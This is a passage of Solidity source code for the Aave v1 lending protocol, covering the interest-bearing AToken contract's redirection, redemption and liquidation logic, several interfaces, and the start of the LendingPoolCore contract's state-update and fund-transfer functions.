* @param _from the address from which the interest is being redirected
* @param _to the adress of the destination
* @param _fromBalanceIncrease the cumulated balance since the last update of the user
* @param _fromIndex the last index of the user
**/
event InterestStreamRedirected(
address indexed _from,
address indexed _to,
uint256 _redirectedBalance,
uint256 _fromBalanceIncrease,
uint256 _fromIndex
);
/**
* @dev emitted when the redirected balance of an user is being updated
* @param _targetAddress the address of which the balance is being updated
* @param _targetBalanceIncrease the cumulated balance since the last update of the target
* @param _targetIndex the last index of the user
* @param _redirectedBalanceAdded the redirected balance being added
* @param _redirectedBalanceRemoved the redirected balance being removed
**/
event RedirectedBalanceUpdated(
address indexed _targetAddress,
uint256 _targetBalanceIncrease,
uint256 _targetIndex,
uint256 _redirectedBalanceAdded,
uint256 _redirectedBalanceRemoved
);
event InterestRedirectionAllowanceChanged(
address indexed _from,
address indexed _to
);
address public underlyingAssetAddress;
mapping (address => uint256) private userIndexes;
mapping (address => address) private interestRedirectionAddresses;
mapping (address => uint256) private redirectedBalances;
mapping (address => address) private interestRedirectionAllowances;
LendingPoolAddressesProvider private addressesProvider;
LendingPoolCore private core;
LendingPool private pool;
LendingPoolDataProvider private dataProvider;
modifier onlyLendingPool {
require(
msg.sender == address(pool),
"The caller of this function must be a lending pool"
);
_;
}
modifier whenTransferAllowed(address _from, uint256 _amount) {
require(isTransferAllowed(_from, _amount), "Transfer cannot be allowed.");
_;
}
constructor(
LendingPoolAddressesProvider _addressesProvider,
address _underlyingAsset,
uint8 _underlyingAssetDecimals,
string memory _name,
string memory _symbol
) public ERC20Detailed(_name, _symbol, _underlyingAssetDecimals) {
addressesProvider = _addressesProvider;
core = LendingPoolCore(addressesProvider.getLendingPoolCore());
pool = LendingPool(addressesProvider.getLendingPool());
dataProvider = LendingPoolDataProvider(addressesProvider.getLendingPoolDataProvider());
underlyingAssetAddress = _underlyingAsset;
}
/**
* @notice ERC20 implementation internal function backing transfer() and transferFrom()
* @dev validates the transfer before allowing it. NOTE: This is not standard ERC20 behavior
**/
function _transfer(address _from, address _to, uint256 _amount) internal whenTransferAllowed(_from, _amount) {
executeTransferInternal(_from, _to, _amount);
}
/**
* @dev redirects the interest generated to a target address.
* when the interest is redirected, the user balance is added to
* the recepient redirected balance.
* @param _to the address to which the interest will be redirected
**/
function redirectInterestStream(address _to) external {
redirectInterestStreamInternal(msg.sender, _to);
}
/**
* @dev redirects the interest generated by _from to a target address.
* when the interest is redirected, the user balance is added to
* the recepient redirected balance. The caller needs to have allowance on
* the interest redirection to be able to execute the function.
* @param _from the address of the user whom interest is being redirected
* @param _to the address to which the interest will be redirected
**/
function redirectInterestStreamOf(address _from, address _to) external {
require(
msg.sender == interestRedirectionAllowances[_from],
"Caller is not allowed to redirect the interest of the user"
);
redirectInterestStreamInternal(_from,_to);
}
/**
* @dev gives allowance to an address to execute the interest redirection
* on behalf of the caller.
* @param _to the address to which the interest will be redirected. Pass address(0) to reset
* the allowance.
**/
function allowInterestRedirectionTo(address _to) external {
require(_to != msg.sender, "User cannot give allowance to himself");
interestRedirectionAllowances[msg.sender] = _to;
emit InterestRedirectionAllowanceChanged(
msg.sender,
_to
);
}
/**
* @dev redeems aToken for the underlying asset
* @param _amount the amount being redeemed
**/
function redeem(uint256 _amount) external {
require(_amount > 0, "Amount to redeem needs to be > 0");
//cumulates the balance of the user
(,
uint256 currentBalance,
uint256 balanceIncrease,
uint256 index) = cumulateBalanceInternal(msg.sender);
uint256 amountToRedeem = _amount;
//if amount is equal to uint(-1), the user wants to redeem everything
if(_amount == UINT_MAX_VALUE){
amountToRedeem = currentBalance;
}
require(amountToRedeem <= currentBalance, "User cannot redeem more than the available balance");
//check that the user is allowed to redeem the amount
require(isTransferAllowed(msg.sender, amountToRedeem), "Transfer cannot be allowed.");
//if the user is redirecting his interest towards someone else,
//we update the redirected balance of the redirection address by adding the accrued interest,
//and removing the amount to redeem
updateRedirectedBalanceOfRedirectionAddressInternal(msg.sender, balanceIncrease, amountToRedeem);
// burns tokens equivalent to the amount requested
_burn(msg.sender, amountToRedeem);
bool userIndexReset = false;
//reset the user data if the remaining balance is 0
if(currentBalance.sub(amountToRedeem) == 0){
userIndexReset = resetDataOnZeroBalanceInternal(msg.sender);
}
// executes redeem of the underlying asset
pool.redeemUnderlying(
underlyingAssetAddress,
msg.sender,
amountToRedeem,
currentBalance.sub(amountToRedeem)
);
emit Redeem(msg.sender, amountToRedeem, balanceIncrease, userIndexReset ? 0 : index);
}
/**
* @dev mints token in the event of users depositing the underlying asset into the lending pool
* only lending pools can call this function
* @param _account the address receiving the minted tokens
* @param _amount the amount of tokens to mint
*/
function mintOnDeposit(address _account, uint256 _amount) external onlyLendingPool {
//cumulates the balance of the user
(,
,
uint256 balanceIncrease,
uint256 index) = cumulateBalanceInternal(_account);
//if the user is redirecting his interest towards someone else,
//we update the redirected balance of the redirection address by adding the accrued interest
//and the amount deposited
updateRedirectedBalanceOfRedirectionAddressInternal(_account, balanceIncrease.add(_amount), 0);
//mint an equivalent amount of tokens to cover the new deposit
_mint(_account, _amount);
emit MintOnDeposit(_account, _amount, balanceIncrease, index);
}
/**
* @dev burns token in the event of a borrow being liquidated, in case the liquidators reclaims the underlying asset
* Transfer of the liquidated asset is executed by the lending pool contract.
* only lending pools can call this function
* @param _account the address from which burn the aTokens
* @param _value the amount to burn
**/
function burnOnLiquidation(address _account, uint256 _value) external onlyLendingPool {
//cumulates the balance of the user being liquidated
(,uint256 accountBalance,uint256 balanceIncrease,uint256 index) = cumulateBalanceInternal(_account);
//adds the accrued interest and substracts the burned amount to
//the redirected balance
updateRedirectedBalanceOfRedirectionAddressInternal(_account, balanceIncrease, _value);
//burns the requested amount of tokens
_burn(_account, _value);
bool userIndexReset = false;
//reset the user data if the remaining balance is 0
if(accountBalance.sub(_value) == 0){
userIndexReset = resetDataOnZeroBalanceInternal(_account);
}
emit BurnOnLiquidation(_account, _value, balanceIncrease, userIndexReset ? 0 : index);
}
/**
* @dev transfers tokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken
* only lending pools can call this function
* @param _from the address from which transfer the aTokens
* @param _to the destination address
* @param _value the amount to transfer
**/
function transferOnLiquidation(address _from, address _to, uint256 _value) external onlyLendingPool {
//being a normal transfer, the Transfer() and BalanceTransfer() are emitted
//so no need to emit a specific event here
executeTransferInternal(_from, _to, _value);
}
/**
* @dev calculates the balance of the user, which is the
* principal balance + interest generated by the principal balance + interest generated by the redirected balance
* @param _user the user for which the balance is being calculated
* @return the total balance of the user
**/
function balanceOf(address _user) public view returns(uint256) {
//current principal balance of the user
uint256 currentPrincipalBalance = super.balanceOf(_user);
//balance redirected by other users to _user for interest rate accrual
uint256 redirectedBalance = redirectedBalances[_user];
if(currentPrincipalBalance == 0 && redirectedBalance == 0){
return 0;
}
//if the _user is not redirecting the interest to anybody, accrues
//the interest for himself
if(interestRedirectionAddresses[_user] == address(0)){
//accruing for himself means that both the principal balance and
//the redirected balance partecipate in the interest
return calculateCumulatedBalanceInternal(
_user,
currentPrincipalBalance.add(redirectedBalance)
)
.sub(redirectedBalance);
}
else {
//if the user redirected the interest, then only the redirected
//balance generates interest. In that case, the interest generated
//by the redirected balance is added to the current principal balance.
return currentPrincipalBalance.add(
calculateCumulatedBalanceInternal(
_user,
redirectedBalance
)
.sub(redirectedBalance)
);
}
}
/**
* @dev returns the principal balance of the user. The principal balance is the last
* updated stored balance, which does not consider the perpetually accruing interest.
* @param _user the address of the user
* @return the principal balance of the user
**/
function principalBalanceOf(address _user) external view returns(uint256) {
return super.balanceOf(_user);
}
/**
* @dev calculates the total supply of the specific aToken
* since the balance of every single user increases over time, the total supply
* does that too.
* @return the current total supply
**/
function totalSupply() public view returns(uint256) {
uint256 currentSupplyPrincipal = super.totalSupply();
if(currentSupplyPrincipal == 0){
return 0;
}
return currentSupplyPrincipal
.wadToRay()
.rayMul(core.getReserveNormalizedIncome(underlyingAssetAddress))
.rayToWad();
}
/**
* @dev Used to validate transfers before actually executing them.
* @param _user address of the user to check
* @param _amount the amount to check
* @return true if the _user can transfer _amount, false otherwise
**/
function isTransferAllowed(address _user, uint256 _amount) public view returns (bool) {
return dataProvider.balanceDecreaseAllowed(underlyingAssetAddress, _user, _amount);
}
/**
* @dev returns the last index of the user, used to calculate the balance of the user
* @param _user address of the user
* @return the last user index
**/
function getUserIndex(address _user) external view returns(uint256) {
return userIndexes[_user];
}
/**
* @dev returns the address to which the interest is redirected
* @param _user address of the user
* @return 0 if there is no redirection, an address otherwise
**/
function getInterestRedirectionAddress(address _user) external view returns(address) {
return interestRedirectionAddresses[_user];
}
/**
* @dev returns the redirected balance of the user. The redirected balance is the balance
* redirected by other accounts to the user, that is accrueing interest for him.
* @param _user address of the user
* @return the total redirected balance
**/
function getRedirectedBalance(address _user) external view returns(uint256) {
return redirectedBalances[_user];
}
/**
* @dev accumulates the accrued interest of the user to the principal balance
* @param _user the address of the user for which the interest is being accumulated
* @return the previous principal balance, the new principal balance, the balance increase
* and the new user index
**/
function cumulateBalanceInternal(address _user)
internal
returns(uint256, uint256, uint256, uint256) {
uint256 previousPrincipalBalance = super.balanceOf(_user);
//calculate the accrued interest since the last accumulation
uint256 balanceIncrease = balanceOf(_user).sub(previousPrincipalBalance);
//mints an amount of tokens equivalent to the amount accumulated
_mint(_user, balanceIncrease);
//updates the user index
uint256 index = userIndexes[_user] = core.getReserveNormalizedIncome(underlyingAssetAddress);
return (
previousPrincipalBalance,
previousPrincipalBalance.add(balanceIncrease),
balanceIncrease,
index
);
}
/**
* @dev updates the redirected balance of the user. If the user is not redirecting his
* interest, nothing is executed.
* @param _user the address of the user for which the interest is being accumulated
* @param _balanceToAdd the amount to add to the redirected balance
* @param _balanceToRemove the amount to remove from the redirected balance
**/
function updateRedirectedBalanceOfRedirectionAddressInternal(
address _user,
uint256 _balanceToAdd,
uint256 _balanceToRemove
) internal {
address redirectionAddress = interestRedirectionAddresses[_user];
//if there isn't any redirection, nothing to be done
if(redirectionAddress == address(0)){
return;
}
//compound balances of the redirected address
(,,uint256 balanceIncrease, uint256 index) = cumulateBalanceInternal(redirectionAddress);
//updating the redirected balance
redirectedBalances[redirectionAddress] = redirectedBalances[redirectionAddress]
.add(_balanceToAdd)
.sub(_balanceToRemove);
//if the interest of redirectionAddress is also being redirected, we need to update
//the redirected balance of the redirection target by adding the balance increase
address targetOfRedirectionAddress = interestRedirectionAddresses[redirectionAddress];
if(targetOfRedirectionAddress != address(0)){
redirectedBalances[targetOfRedirectionAddress] = redirectedBalances[targetOfRedirectionAddress].add(balanceIncrease);
}
emit RedirectedBalanceUpdated(
redirectionAddress,
balanceIncrease,
index,
_balanceToAdd,
_balanceToRemove
);
}
/**
* @dev calculate the interest accrued by _user on a specific balance
* @param _user the address of the user for which the interest is being accumulated
* @param _balance the balance on which the interest is calculated
* @return the interest rate accrued
**/
function calculateCumulatedBalanceInternal(
address _user,
uint256 _balance
) internal view returns (uint256) {
return _balance
.wadToRay()
.rayMul(core.getReserveNormalizedIncome(underlyingAssetAddress))
.rayDiv(userIndexes[_user])
.rayToWad();
}
/**
* @dev executes the transfer of aTokens, invoked by both _transfer() and
* transferOnLiquidation()
* @param _from the address from which transfer the aTokens
* @param _to the destination address
* @param _value the amount to transfer
**/
function executeTransferInternal(
address _from,
address _to,
uint256 _value
) internal {
require(_value > 0, "Transferred amount needs to be greater than zero");
//cumulate the balance of the sender
(,
uint256 fromBalance,
uint256 fromBalanceIncrease,
uint256 fromIndex
) = cumulateBalanceInternal(_from);
//cumulate the balance of the receiver
(,
,
uint256 toBalanceIncrease,
uint256 toIndex
) = cumulateBalanceInternal(_to);
//if the sender is redirecting his interest towards someone else,
//adds to the redirected balance the accrued interest and removes the amount
//being transferred
updateRedirectedBalanceOfRedirectionAddressInternal(_from, fromBalanceIncrease, _value);
//if the receiver is redirecting his interest towards someone else,
//adds to the redirected balance the accrued interest and the amount
//being transferred
updateRedirectedBalanceOfRedirectionAddressInternal(_to, toBalanceIncrease.add(_value), 0);
//performs the transfer
super._transfer(_from, _to, _value);
bool fromIndexReset = false;
//reset the user data if the remaining balance is 0
if(fromBalance.sub(_value) == 0){
fromIndexReset = resetDataOnZeroBalanceInternal(_from);
}
emit BalanceTransfer(
_from,
_to,
_value,
fromBalanceIncrease,
toBalanceIncrease,
fromIndexReset ? 0 : fromIndex,
toIndex
);
}
/**
* @dev executes the redirection of the interest from one address to another.
* immediately after redirection, the destination address will start to accrue interest.
* @param _from the address from which transfer the aTokens
* @param _to the destination address
**/
function redirectInterestStreamInternal(
address _from,
address _to
) internal {
address currentRedirectionAddress = interestRedirectionAddresses[_from];
require(_to != currentRedirectionAddress, "Interest is already redirected to the user");
//accumulates the accrued interest to the principal
(uint256 previousPrincipalBalance,
uint256 fromBalance,
uint256 balanceIncrease,
uint256 fromIndex) = cumulateBalanceInternal(_from);
require(fromBalance > 0, "Interest stream can only be redirected if there is a valid balance");
//if the user is already redirecting the interest to someone, before changing
//the redirection address we substract the redirected balance of the previous
//recipient
if(currentRedirectionAddress != address(0)){
updateRedirectedBalanceOfRedirectionAddressInternal(_from,0, previousPrincipalBalance);
}
//if the user is redirecting the interest back to himself,
//we simply set to 0 the interest redirection address
if(_to == _from) {
interestRedirectionAddresses[_from] = address(0);
emit InterestStreamRedirected(
_from,
address(0),
fromBalance,
balanceIncrease,
fromIndex
);
return;
}
//first set the redirection address to the new recipient
interestRedirectionAddresses[_from] = _to;
//adds the user balance to the redirected balance of the destination
updateRedirectedBalanceOfRedirectionAddressInternal(_from,fromBalance,0);
emit InterestStreamRedirected(
_from,
_to,
fromBalance,
balanceIncrease,
fromIndex
);
}
/**
* @dev function to reset the interest stream redirection and the user index, if the
* user has no balance left.
* @param _user the address of the user
* @return true if the user index has also been reset, false otherwise. useful to emit the proper user index value
**/
function resetDataOnZeroBalanceInternal(address _user) internal returns(bool) {
//if the user has 0 principal balance, the interest stream redirection gets reset
interestRedirectionAddresses[_user] = address(0);
//emits a InterestStreamRedirected event to notify that the redirection has been reset
emit InterestStreamRedirected(_user, address(0),0,0,0);
//if the redirected balance is also 0, we clear up the user index
if(redirectedBalances[_user] == 0){
userIndexes[_user] = 0;
return true;
}
else{
return false;
}
}
}
/**
* @title IFlashLoanReceiver interface
* @notice Interface for the Aave fee IFlashLoanReceiver.
* @author Aave
* @dev implement this interface to develop a flashloan-compatible flashLoanReceiver contract
**/
interface IFlashLoanReceiver {
function executeOperation(address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external;
}
/**
* @title ILendingRateOracle interface
* @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations
**/
interface ILendingRateOracle {
/**
@dev returns the market borrow rate in ray
**/
function getMarketBorrowRate(address _asset) external view returns (uint256);
/**
@dev sets the market borrow rate. Rate value must be in ray
**/
function setMarketBorrowRate(address _asset, uint256 _rate) external;
}
/**
@title IReserveInterestRateStrategyInterface interface
@notice Interface for the calculation of the interest rates.
*/
interface IReserveInterestRateStrategy {
/**
* @dev returns the base variable borrow rate, in rays
*/
function getBaseVariableBorrowRate() external view returns (uint256);
/**
* @dev calculates the liquidity, stable, and variable rates depending on the current utilization rate
* and the base parameters
*
*/
function calculateInterestRates(
address _reserve,
uint256 _utilizationRate,
uint256 _totalBorrowsStable,
uint256 _totalBorrowsVariable,
uint256 _averageStableBorrowRate)
external
view
returns (uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate);
}
library EthAddressLib {
/**
* @dev returns the address used within the protocol to identify ETH
* @return the address assigned to ETH
*/
function ethAddress() internal pure returns(address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
/**
* @title LendingPoolCore contract
* @author Aave
* @notice Holds the state of the lending pool and all the funds deposited
* @dev NOTE: The core does not enforce security checks on the update of the state
* (eg, updateStateOnBorrow() does not enforce that borrowed is enabled on the reserve).
* The check that an action can be performed is a duty of the overlying LendingPool contract.
**/
contract LendingPoolCore is VersionedInitializable {
using SafeMath for uint256;
using WadRayMath for uint256;
using CoreLibrary for CoreLibrary.ReserveData;
using CoreLibrary for CoreLibrary.UserReserveData;
using SafeERC20 for ERC20;
using Address for address payable;
/**
* @dev Emitted when the state of a reserve is updated
* @param reserve the address of the reserve
* @param liquidityRate the new liquidity rate
* @param stableBorrowRate the new stable borrow rate
* @param variableBorrowRate the new variable borrow rate
* @param liquidityIndex the new liquidity index
* @param variableBorrowIndex the new variable borrow index
**/
event ReserveUpdated(
address indexed reserve,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex
);
address public lendingPoolAddress;
LendingPoolAddressesProvider public addressesProvider;
/**
* @dev only lending pools can use functions affected by this modifier
**/
modifier onlyLendingPool {
require(lendingPoolAddress == msg.sender, "The caller must be a lending pool contract");
_;
}
/**
* @dev only lending pools configurator can use functions affected by this modifier
**/
modifier onlyLendingPoolConfigurator {
require(
addressesProvider.getLendingPoolConfigurator() == msg.sender,
"The caller must be a lending pool configurator contract"
);
_;
}
mapping(address => CoreLibrary.ReserveData) internal reserves;
mapping(address => mapping(address => CoreLibrary.UserReserveData)) internal usersReserveData;
address[] public reservesList;
uint256 public constant CORE_REVISION = 0x4;
/**
* @dev returns the revision number of the contract
**/
function getRevision() internal pure returns (uint256) {
return CORE_REVISION;
}
/**
* @dev initializes the Core contract, invoked upon registration on the AddressesProvider
* @param _addressesProvider the addressesProvider contract
**/
function initialize(LendingPoolAddressesProvider _addressesProvider) public initializer {
addressesProvider = _addressesProvider;
refreshConfigInternal();
}
/**
* @dev updates the state of the core as a result of a deposit action
* @param _reserve the address of the reserve in which the deposit is happening
* @param _user the address of the the user depositing
* @param _amount the amount being deposited
* @param _isFirstDeposit true if the user is depositing for the first time
**/
function updateStateOnDeposit(
address _reserve,
address _user,
uint256 _amount,
bool _isFirstDeposit
) external onlyLendingPool {
reserves[_reserve].updateCumulativeIndexes();
updateReserveInterestRatesAndTimestampInternal(_reserve, _amount, 0);
if (_isFirstDeposit) {
//if this is the first deposit of the user, we configure the deposit as enabled to be used as collateral
setUserUseReserveAsCollateral(_reserve, _user, true);
}
}
/**
* @dev updates the state of the core as a result of a redeem action
* @param _reserve the address of the reserve in which the redeem is happening
* @param _user the address of the the user redeeming
* @param _amountRedeemed the amount being redeemed
* @param _userRedeemedEverything true if the user is redeeming everything
**/
function updateStateOnRedeem(
address _reserve,
address _user,
uint256 _amountRedeemed,
bool _userRedeemedEverything
) external onlyLendingPool {
//compound liquidity and variable borrow interests
reserves[_reserve].updateCumulativeIndexes();
updateReserveInterestRatesAndTimestampInternal(_reserve, 0, _amountRedeemed);
//if user redeemed everything the useReserveAsCollateral flag is reset
if (_userRedeemedEverything) {
setUserUseReserveAsCollateral(_reserve, _user, false);
}
}
/**
* @dev updates the state of the core as a result of a flashloan action
* @param _reserve the address of the reserve in which the flashloan is happening
* @param _income the income of the protocol as a result of the action
**/
function updateStateOnFlashLoan(
address _reserve,
uint256 _availableLiquidityBefore,
uint256 _income,
uint256 _protocolFee
) external onlyLendingPool {
transferFlashLoanProtocolFeeInternal(_reserve, _protocolFee);
//compounding the cumulated interest
reserves[_reserve].updateCumulativeIndexes();
uint256 totalLiquidityBefore = _availableLiquidityBefore.add(
getReserveTotalBorrows(_reserve)
);
//compounding the received fee into the reserve
reserves[_reserve].cumulateToLiquidityIndex(totalLiquidityBefore, _income);
//refresh interest rates
updateReserveInterestRatesAndTimestampInternal(_reserve, _income, 0);
}
/**
* @dev updates the state of the core as a consequence of a borrow action.
* @param _reserve the address of the reserve on which the user is borrowing
* @param _user the address of the borrower
* @param _amountBorrowed the new amount borrowed
* @param _borrowFee the fee on the amount borrowed
* @param _rateMode the borrow rate mode (stable, variable)
* @return the new borrow rate for the user
**/
function updateStateOnBorrow(
address _reserve,
address _user,
uint256 _amountBorrowed,
uint256 _borrowFee,
CoreLibrary.InterestRateMode _rateMode
) external onlyLendingPool returns (uint256, uint256) {
// getting the previous borrow data of the user
(uint256 principalBorrowBalance, , uint256 balanceIncrease) = getUserBorrowBalances(
_reserve,
_user
);
updateReserveStateOnBorrowInternal(
_reserve,
_user,
principalBorrowBalance,
balanceIncrease,
_amountBorrowed,
_rateMode
);
updateUserStateOnBorrowInternal(
_reserve,
_user,
_amountBorrowed,
balanceIncrease,
_borrowFee,
_rateMode
);
updateReserveInterestRatesAndTimestampInternal(_reserve, 0, _amountBorrowed);
return (getUserCurrentBorrowRate(_reserve, _user), balanceIncrease);
}
/**
* @dev updates the state of the core as a consequence of a repay action.
* @param _reserve the address of the reserve on which the user is repaying
* @param _user the address of the borrower
* @param _paybackAmountMinusFees the amount being paid back minus fees
* @param _originationFeeRepaid the fee on the amount that is being repaid
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _repaidWholeLoan true if the user is repaying the whole loan
**/
function updateStateOnRepay(
address _reserve,
address _user,
uint256 _paybackAmountMinusFees,
uint256 _originationFeeRepaid,
uint256 _balanceIncrease,
bool _repaidWholeLoan
) external onlyLendingPool {
updateReserveStateOnRepayInternal(
_reserve,
_user,
_paybackAmountMinusFees,
_balanceIncrease
);
updateUserStateOnRepayInternal(
_reserve,
_user,
_paybackAmountMinusFees,
_originationFeeRepaid,
_balanceIncrease,
_repaidWholeLoan
);
updateReserveInterestRatesAndTimestampInternal(_reserve, _paybackAmountMinusFees, 0);
}
/**
* @dev updates the state of the core as a consequence of a swap rate action.
* @param _reserve the address of the reserve on which the user is repaying
* @param _user the address of the borrower
* @param _principalBorrowBalance the amount borrowed by the user
* @param _compoundedBorrowBalance the amount borrowed plus accrued interest
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _currentRateMode the current interest rate mode for the user
**/
function updateStateOnSwapRate(
address _reserve,
address _user,
uint256 _principalBorrowBalance,
uint256 _compoundedBorrowBalance,
uint256 _balanceIncrease,
CoreLibrary.InterestRateMode _currentRateMode
) external onlyLendingPool returns (CoreLibrary.InterestRateMode, uint256) {
updateReserveStateOnSwapRateInternal(
_reserve,
_user,
_principalBorrowBalance,
_compoundedBorrowBalance,
_currentRateMode
);
CoreLibrary.InterestRateMode newRateMode = updateUserStateOnSwapRateInternal(
_reserve,
_user,
_balanceIncrease,
_currentRateMode
);
updateReserveInterestRatesAndTimestampInternal(_reserve, 0, 0);
return (newRateMode, getUserCurrentBorrowRate(_reserve, _user));
}
/**
* @dev updates the state of the core as a consequence of a liquidation action.
* @param _principalReserve the address of the principal reserve that is being repaid
* @param _collateralReserve the address of the collateral reserve that is being liquidated
* @param _user the address of the borrower
* @param _amountToLiquidate the amount being repaid by the liquidator
* @param _collateralToLiquidate the amount of collateral being liquidated
* @param _feeLiquidated the amount of origination fee being liquidated
* @param _liquidatedCollateralForFee the amount of collateral equivalent to the origination fee + bonus
* @param _balanceIncrease the accrued interest on the borrowed amount
* @param _liquidatorReceivesAToken true if the liquidator will receive aTokens, false otherwise
**/
function updateStateOnLiquidation(
address _principalReserve,
address _collateralReserve,
address _user,
uint256 _amountToLiquidate,
uint256 _collateralToLiquidate,
uint256 _feeLiquidated,
uint256 _liquidatedCollateralForFee,
uint256 _balanceIncrease,
bool _liquidatorReceivesAToken
) external onlyLendingPool {
updatePrincipalReserveStateOnLiquidationInternal(
_principalReserve,
_user,
_amountToLiquidate,
_balanceIncrease
);
updateCollateralReserveStateOnLiquidationInternal(
_collateralReserve
);
updateUserStateOnLiquidationInternal(
_principalReserve,
_user,
_amountToLiquidate,
_feeLiquidated,
_balanceIncrease
);
updateReserveInterestRatesAndTimestampInternal(_principalReserve, _amountToLiquidate, 0);
if (!_liquidatorReceivesAToken) {
updateReserveInterestRatesAndTimestampInternal(
_collateralReserve,
0,
_collateralToLiquidate.add(_liquidatedCollateralForFee)
);
}
}
/**
* @dev updates the state of the core as a consequence of a stable rate rebalance
* @param _reserve the address of the principal reserve where the user borrowed
* @param _user the address of the borrower
* @param _balanceIncrease the accrued interest on the borrowed amount
* @return the new stable rate for the user
**/
function updateStateOnRebalance(address _reserve, address _user, uint256 _balanceIncrease)
external
onlyLendingPool
returns (uint256)
{
updateReserveStateOnRebalanceInternal(_reserve, _user, _balanceIncrease);
//update user data and rebalance the rate
updateUserStateOnRebalanceInternal(_reserve, _user, _balanceIncrease);
updateReserveInterestRatesAndTimestampInternal(_reserve, 0, 0);
return usersReserveData[_user][_reserve].stableBorrowRate;
}
/**
* @dev enables or disables a reserve as collateral
* @param _reserve the address of the principal reserve where the user deposited
* @param _user the address of the depositor
* @param _useAsCollateral true if the depositor wants to use the reserve as collateral
**/
function setUserUseReserveAsCollateral(address _reserve, address _user, bool _useAsCollateral)
public
onlyLendingPool
{
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
user.useAsCollateral = _useAsCollateral;
}
/**
* @notice ETH/token transfer functions
**/
/**
* @dev fallback function enforces that the caller is a contract, to support flashloan transfers
**/
function() external payable {
//only contracts can send ETH to the core
require(msg.sender.isContract(), "Only contracts can send ether to the Lending pool core");
}
/**
* @dev transfers to the user a specific amount from the reserve.
* @param _reserve the address of the reserve where the transfer is happening
* @param _user the address of the user receiving the transfer
* @param _amount the amount being transferred
**/
function transferToUser(address _reserve, address payable _user, uint256 _amount)
external
onlyLendingPool
{
if (_reserve != EthAddressLib.ethAddress()) {
ERC20(_reserve).safeTransfer(_user, _amount);
} else {
//solium-disable-next-line
(bool result, ) = _user.call.value(_amount).gas(50000)("");
require(result, "Transfer of ETH failed");
}
}
/**
* @dev transfers the protocol fees to the fees collection address
* @param _token the address of the token being transferred
* @param _user the address of the user from where the transfer is happening
* @param _amount the amount being transferred
* @param _destination the fee receiver address
**/
function transferToFeeCollectionAddress(
address _token,
address _user,
uint256 _amount,
address _destination
) external payable onlyLendingPool {
address payable feeAddress = address(uint160(_destination)); //cast the address to payable
if (_token != EthAddressLib.ethAddress()) {
require(
msg.value == 0,
"User is sending ETH along with the ERC20 transfer. Check the value attribute of the transaction"
);
ERC20(_token).safeTransferFrom(_user, feeAddress, _amount);
} else {
require(msg.value >= _amount, "The amount and the value sent to deposit do not match");
//solium-disable-next-line
(bool result, ) = feeAddress.call.value(_amount).gas(50000)("");
require(result, "Transfer of ETH failed");
}
}
/**
* @dev transfers the fees to the fees collection address in the case of liquidation
* @param _token the address of the token being transferred
* @param _amount the amount being transferred
* @param _destination the fee receiver address
**/
function liquidateFee(
address _token,
uint256 _amount,
address _destination
) external payable onlyLendingPool {
address payable feeAddress = address(uint160(_destination)); //cast the address to payable
require(
msg.value == 0,
"Fee liquidation does not require any transfer of value"
);
if (_token != EthAddressLib.ethAddress()) {
ERC20(_token).safeTransfer(feeAddress, _amount);
} else {
//solium-disable-next-line
(bool result, ) = feeAddress.call.value(_amount).gas(50000)("");
require(result, "Transfer of ETH failed");
}
}
/**
* @dev transfers an amount from a user to the destination reserve
* @param _reserve the address of the reserve where the amount is being transferred
* @param _user the address of the user from where the transfer is happening
* @param _amount the amount being transferred
**/
function transferToReserve(address _reserve, address payable _user, uint256 _amount)
external
payable
onlyLendingPool
{
if (_reserve != EthAddressLib.ethAddress()) {
require(msg.value == 0, "User is sending ETH along with the ERC20 transfer.");
ERC20(_reserve).safeTransferFrom(_user, address(this), _amount);
} else {
require(msg.value >= _amount, "The amount and the value sent to deposit do not match");
if (msg.value > _amount) {
//send back excess ETH
uint256 excessAmount = msg.value.sub(_amount);
//solium-disable-next-line
(bool result, ) = _user.call.value(excessAmount).gas(50000)("");
require(result, "Transfer of ETH failed");
}
}
}
/**
* @notice data access functions
**/
/**
* @dev returns the basic data (balances, fee accrued, reserve enabled/disabled as collateral)
* needed to calculate the global account data in the LendingPoolDataProvider
* @param _reserve the address of the reserve
* @param _user the address of the user
* @return the user deposited balance, the principal borrow balance, the fee, and if the reserve is enabled as collateral or not
**/
function getUserBasicReserveData(address _reserve, address _user)
external
view
returns (uint256, uint256, uint256, bool)
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
uint256 underlyingBalance = getUserUnderlyingAssetBalance(_reserve, _user);
if (user.principalBorrowBalance == 0) {
return (underlyingBalance, 0, 0, user.useAsCollateral);
}
return (
underlyingBalance,
user.getCompoundedBorrowBalance(reserve),
user.originationFee,
user.useAsCollateral
);
}
/**
* @dev checks if a user is allowed to borrow at a stable rate
* @param _reserve the reserve address
* @param _user the user
* @param _amount the amount the the user wants to borrow
* @return true if the user is allowed to borrow at a stable rate, false otherwise
**/
function isUserAllowedToBorrowAtStable(address _reserve, address _user, uint256 _amount)
external
view
returns (bool)
{
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
CoreLibrary.UserReserveData storage user = usersReserveData[_user][_reserve];
if (!reserve.isStableBorrowRateEnabled) return false;
return
!user.useAsCollateral ||
!reserve.usageAsCollateralEnabled ||
_amount > getUserUnderlyingAssetBalance(_reserve, _user);
}
/**
* @dev gets the underlying asset balance of a user based on the corresponding aToken balance.
* @param _reserve the reserve address
* @param _user the user address
* @return the underlying deposit balance of the user
**/
function getUserUnderlyingAssetBalance(address _reserve, address _user)
public
view
returns (uint256)
{
AToken aToken = AToken(reserves[_reserve].aTokenAddress);
return aToken.balanceOf(_user);
}
/**
* @dev gets the interest rate strategy contract address for the reserve
* @param _reserve the reserve address
* @return the address of the interest rate strategy contract
**/
function getReserveInterestRateStrategyAddress(address _reserve) public view returns (address) {
CoreLibrary.ReserveData storage reserve = reserves[_reserve];
return reserve.interestRateStrategyAddress;
}
/**
* @dev gets the aToken contract address for the reserve
* @param _reserve the reserve address
* @return the address of the aToken contract
**/
function getReserveATokenAddress(address _reserve) public view returns (address) {
